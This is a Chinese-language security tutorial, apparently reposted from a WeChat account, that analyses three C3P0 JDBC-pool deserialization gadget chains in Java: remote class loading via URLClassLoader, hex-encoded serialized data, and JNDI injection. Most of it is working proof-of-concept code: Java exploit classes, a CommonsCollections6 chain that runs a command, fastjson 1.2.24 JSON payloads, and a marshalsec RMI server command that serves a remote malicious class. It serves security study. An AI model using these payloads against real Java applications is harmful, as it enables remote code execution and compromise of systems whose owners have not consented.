扫码领资料
获网安教程
本文由掌控安全学院 - 3358756550 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
简介
C3P0是JDBC的一个连接池组件
在多线程中创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长。为了提高效率,我们可以线程池,而连接池也是差不多的原理,其核心作用是预先创建并维护一定数量的数据库连接,供应用程序使用,从而避免频繁创建和关闭连接带来的性能开销。
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。
环境搭建
添加依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
利用方式
在C3P0中有三种利用方式
-
• URLClassLoader远程类加载,也被称为 http base 链 -
• JNDI -
• HEX序列化字节加载器
在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。
URLClassLoader远程类加载
调用链
com.mchange.v2.c3p0.impl 下的 PoolBackedDataSourceBase 类
其 writeObject 方法中有
先用 SerializableUtils.toByteArray 检查 connectionPoolDataSource 属性是否可序列化,如果可以则直接序列化,如果不行则用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作
这是个接口,不能被序列化所以会进入到 catch 块,我们跟进下看这个方法怎么处理的
com.mchange.v2.naming 下的 ReferenceIndirector.indirectForm 方法
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
调用了 connectionPoolDataSource 属性的 getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized 对象,然后将这个对象返回,跟进 ReferenceSerialized 的构造方法可以发现 reference 就是传入的 connectionPoolDataSource 属性,是我们可控的
ReferenceSerialized(Reference var1, Name var2, Name var3, Hashtable var4) {
this.reference = var1;
this.name = var2;
this.contextName = var3;
this.env = var4;
}
说完了序列化,看下其对应的反序列化操作,还是 com.mchange.v2.c3p0.impl 下的 PoolBackedDataSourceBase
其 readObejct 方法
可以看到会调用序列流中的对象为 IndirectlySerialized 类型的 getObject 方法,而刚才在分析序列化时,我们发现 ReferenceIndirector.indirectForm 方法返回的 ReferenceSerialized 对象就是 IndirectlySerialized 类型的。也就是说如果 ReferenceSerialized 被序列化成功了,那这里就是调用的ReferenceSerialized#getObject ,跟进一下
跟进后可以发现调用了 ReferenceableUtils.referenceToObject 这个静态方法
上面说过 reference 就是传入的 connectionPoolDataSource 属性,是我们可控的。继续跟进
com.mchange.v2.naming 下的 ReferenceableUtils.referenceToObject
这里var4 是从传入的 Reference 对象中获取的工厂类名称,由上面的分析来看,是可控的,所以这里我们可以通过 URLClassLoader 实例化远程类,造成任意代码执行
这里因为实现了 ConnectionPoolDataSource 接口,且 ConnectionPoolDataSource 接口继承于 CommonDataSource ,所以必须实现其所有方法
poc
package org.example;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class c3p0 {
public static class exp implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("exp","exp","http://127.0.0.1:10999/");
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase pds = new PoolBackedDataSourceBase(false);
//将connectionPoolDataSource属性值设为恶意的class
Class cl = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field connectionPoolDataSourceField = cl.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(pds, new exp());
Unser(pds);
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}
exp.java
import java.io.IOException;
public class exp {
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
总结
调用链
PoolBackedDataSourceBase#readObject
->ReferenceSerialized#getObject
->ReferenceableUtils#referenceToObject
->ObjectFactory#getObjectInstance
就是加载个远程恶意类
hex base
调用链
如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget,该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件
定位到 com.mchange.v2.c3p0.impl 下的 WrapperConnectionPoolDataSource 类中
其构造函数调用了 C3P0ImplUtils.parseUserOverridesAsString 方法
跟进一下
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
先是调用 fromHexAscii将其传入的 userOverridesAsString 16进制解码,再用 fromByteArray 将其转换为map类,其输入必须满足HexAsciiSerializedMap{xxx} 的格式,其中{和}用其他任意字符代替均可
跟进看下 fromByteArray 的实现
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}
触发了 deserializeFromByteArray 方法,然后判断反序列化后的对象 var1 是否是 IndirectlySerialized 类型,如果是则调用其 getObject 方法,如果不是则直接返回 var1
继续跟进 deserializeFromByteArray
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}
这里直接反序列化了
ok 看下怎么传参,参数是由 getUserOverridesAsString() 方法获得的,可以用其 setter 方法来赋值
其实从这个setter方法开始才是正真的调用链,但其调用链和上面分析的差不多,就不说了,最后还是触发到 deserializeFromByteArray
poc
随便拿条链子,我这里拿cc6,相较于其他cc链,cc6用的更多一点
package org.example;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
public class c3p0_hexbase {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"test");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
serilize(hashmap);
InputStream in = new FileInputStream("test.bin");
byte[] bytein = toByteArray(in);
String Hex = "HexAsciiSerializedMap{"+bytesToHexString(bytein,bytein.length)+"}";
WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
exp.setUserOverridesAsString(Hex);
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("test.bin"));
out.writeObject(obj);
}
//将输入流转换为字节数组
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
//将字节数组转换为十六进制
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
上面分析到能调用 setter 和 getter ,不难想到 fastjson ,fastjson 的 poc ,这里我拿的是最简单的 1.2.24 版本的来举例的
String hex = "序列化后的hex数据";
String payload = "{" +
""@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"," +
""userOverridesAsString":"HexAsciiSerializedMap:" + hex + ";"," +
"}";
JSON.parse(payload);
总结
调用栈
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
fastjson的调用栈
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
简单来说 setUserOverridesAsString 可以触发反序列化恶意hex数据,fastjson 可以触发任意 setter 方法,不用手动触发
JNDI注入
同样也是在fastjson,jackson环境中可用。jndi适用于jdk8u191以下支持reference情况,下图来自三知师傅的文章:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#JNDI%E5%8E%9F%E7%90%86%E5%8F%8A%E4%BD%BF%E7%94%A8%E4%BE%8B%E5%AD%90
调用链
定位到 com.mchange.v2.c3p0 下的 JndiRefConnectionPoolDataSource
看到其 setLoginTimeout 函数
WrapperConnectionPoolDataSource wcpds;
...
public void setLoginTimeout(int seconds) throws SQLException {
this.wcpds.setLoginTimeout(seconds);
}
调用了 WrapperConnectionPoolDataSource#setLoginTimeout ,跟进发现又调用了 setLoginTimeout
public void setLoginTimeout(int seconds) throws SQLException {
this.getNestedDataSource().setLoginTimeout(seconds);
}
跟进发现 getNestedDataSource() 方法返回的是 this.nestedDataSource ,且发现是 setNestedDataSource 方法对 nestedDataSource 进行赋值
public synchronized DataSource getNestedDataSource() {
return this.nestedDataSource;
}
public synchronized void setNestedDataSource(DataSource nestedDataSource) {
DataSource oldVal = this.nestedDataSource;
this.nestedDataSource = nestedDataSource;
if (!this.eqOrBothNull(oldVal, nestedDataSource)) {
this.pcs.firePropertyChange("nestedDataSource", oldVal, nestedDataSource);
}
}
经过上面分析,我们知道在 JndiRefConnectionPoolDataSource 类调用 setLoginTimeout 时。对 WrapperConnectionPoolDataSource 进行了实例化并调用了 setNestedDataSource 方法为 nestedDataSource 变量赋值
回头看到 JndiRefConnectionPoolDataSource 的构造类
public JndiRefConnectionPoolDataSource(boolean autoregister) {
this.jrfds = new JndiRefForwardingDataSource();
this.wcpds = new WrapperConnectionPoolDataSource();
this.wcpds.setNestedDataSource(this.jrfds);
if (autoregister) {
this.identityToken = C3P0ImplUtils.allocateIdentityToken(this);
C3P0Registry.reregister(this);
}
}
发现这里调用了 WrapperConnectionPoolDataSource#setNestedDataSource ,并将 JndiRefForwardingDataSource 类的实例当作参数传入。因此结合前面的分析,我们知道会调用 JndiRefForwardingDataSource#setLoginTimeout,继续跟进看下其实现
public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}
调用了 inner() 方法,继续跟进
private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
}
return out;
}
}
这里当 cachedInner 为空时就会调用 dereference ,然后跟进就会发现调用了 lookup
这里 jndiName 的值由 setJndiName 决定
poc
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类 exp.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:9991/#exp" 9999
记得在 9991 端口开 http
package org.example;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
public class c3p0_jndi {
public static void main(String[] args)throws Exception {
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
exp.setJndiName("rmi://localhost:9999/hello");
exp.setLoginTimeout(1);
}
}
和 hex 那条链子差不多的原理,会用到 setter 方法,那就可以用 fastjson 打
String payload = "{" +
""@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource"," +
""JndiName":"rmi://localhost:9999/hello", " +
""LoginTimeout":0" +
"}";
JSON.parse(payload);
总结
调用栈
dereference:112, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
inner:134, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:157, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:309, WrapperConnectionPoolDataSource (com.mchange.v2.c3p0)
setLoginTimeout:302, JndiRefConnectionPoolDataSource (com.mchange.v2.c3p0)
先是创个 JndiRefConnectionPoolDataSource 的实例,让 WrapperConnectionPoolDataSource#setNestedDataSource 的参数值为 JndiRefForwardingDataSource 的实例,方便之后触发 JndiRefForwardingDataSource#setLoginTimeout 打 jndi
fastjson 的调用栈
dereference:112, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
inner:134, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:157, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:309, WrapperConnectionPoolDataSource (com.mchange.v2.c3p0)
setLoginTimeout:302, JndiRefConnectionPoolDataSource (com.mchange.v2.c3p0)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JndiRefConnectionPoolDataSource (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
差不多的
参考
https://www.cnblogs.com/gaorenyusi/p/18475139
https://tttang.com/archive/1411/#toc_poc_1
https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#JNDI%E5%8E%9F%E7%90%86%E5%8F%8A%E4%BD%BF%E7%94%A8%E4%BE%8B%E5%AD%90
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):JavaSec | c3p0反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论